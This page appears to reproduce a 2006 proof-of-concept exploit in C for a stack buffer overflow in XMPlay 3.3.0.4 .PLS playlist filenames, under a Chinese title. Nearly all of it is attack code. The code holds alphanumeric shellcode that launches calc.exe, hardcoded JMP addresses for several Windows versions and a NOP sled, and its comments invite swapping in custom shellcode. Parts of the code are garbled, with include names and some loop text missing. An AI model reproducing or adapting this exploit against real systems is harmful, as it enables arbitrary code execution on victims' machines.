XMPlay Playlist文件缓冲区溢出漏洞

0-day XMPlay 3.3.0.4 .PLS Filename Buffer Overflow Exploit /* =================================================================== 0-day XMPlay 3.3.0.4 .PLS Filename Buffer Overflow Exploit =================================================================== XMPlay 3.3.0.4 and lower experiance a stack-based buffer overflow when loading malformed M3U and PLS files (probably ASX files as well - working on the ASX Exploit as we speak). This merely executes CALC.exe but you could always add your own custom shellcode (alpha2) =============== PLS Format [playlist] File1=C:\[BUFFER][JMP][SHELLCODE][NOPSLED][Extension] Title1=title (could also be used for the buffer overflow exploit) ESP Stores Address of Shellcode Huge Greets and Thanks to Expanders (expanders[at]gmail[dot]com) Who I presented the PoC and Discovery to for the original M3U exploit He wrote the first PoC Exploit for it. And Jerome Athias for some neat tools. Both of these guys are very talented, keep up the good work. Reported Exploit Date: 11/21/2006 */ #include #include #include int main(int argc, char *argv[]) { FILE *Exploit; char buffer[512]; char *outp; /* Executes Calc.exe Alpha2 Shellcode Provided by Expanders */ unsigned char scode[] = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI" "YlHhQTs0s0c0LKcuwLLK1ls52Xs1JONkRofxNkcoUpUQZKCylK4tLKuQxnTqo0LYnLMTkpptUWiQ9ZdM" "5QO2JKZT5k2tUtUTPuKULKQOfDc1zKPfNkflrkNkSowlvaZKLK5LlKgqxkMYqL14wtYSFQkpcTNkQPtp" "LEiPd8VlNkqPVllKPp7lNMLK0htHjKuYnkMPnP7pc05PLKsXUlsovQxvU0PVOy9hlCo0SKRpsXhoxNip" "sPu8LX9nMZvnv79oM7sSU1rLsSdnu5rX3UuPA"; char NOPSled[50]; char tail[] = ".mid\r\n"; int JMP, x; printf("\n======================================================================\n"); printf("XMPlay 3.3.0.4 and prior PLS Filename Buffer Overflow Exploit\n"); printf("Discovered and Coded By: Greg Linares \n"); printf("Usage: %s [Exploit Display Name] \n", argv[0]); printf("\n JMP Options\n"); printf("1 = English Windows XP SP 2 User32.dll \n"); printf("2 = English Windows XP SP 1 User32.dll \n"); printf("3 = English Windows 2003 SP0 and SP1 User32.dll \n"); printf("4 = English Windows 2000 SP 4 User32.dll \n"); printf("====================================================================\n\n\n"); if (argc 4) { JMP = 1; } else { JMP = atoi(argv[2]); } switch(JMP) { case 1: printf("Using English Windows XP SP2 JMP...\n"); fputs("\xbc\x41\xdb\x77", Exploit); break; case 2: printf("Using English Windows XP SP1 JMP...\n"); fputs("\xfc\x18\xd7\x77", Exploit); break; case 3: printf("Using English Windows 2003 SP0 & SP1 JMP...\n"); fputs("\xdc\x4a\xd7\x77", Exploit); break; case 4: printf("Using English Windows 2000 SP 4 JMP...\n"); fputs("\x56\xc2\xe3\x77", Exploit); break; } fputs(scode, Exploit); for (x=0;x 0) { fputs("Title1=", Exploit); fputs(argv[4], Exploit); fputs("\r\n", Exploit); } else { fputs("Title1=XMPlay_0-Day_PLS_Buffer_Overflow_Exploit_By_Greg_Linares\r\n", Exploit); } fputs("Length1=512", Exploit); printf("Exploit Succeeded...\n Output File: %s\n\n", argv[1]); printf("Exploit Coded by Greg Linares (GLinares.code[at]gmail[dot]com)\n"); printf("Greetz to: Jerome Athias and Expanders - Thanks For The Ideas, Tools and Alpha2 Shell Code\n"); fclose(Exploit); return 0; }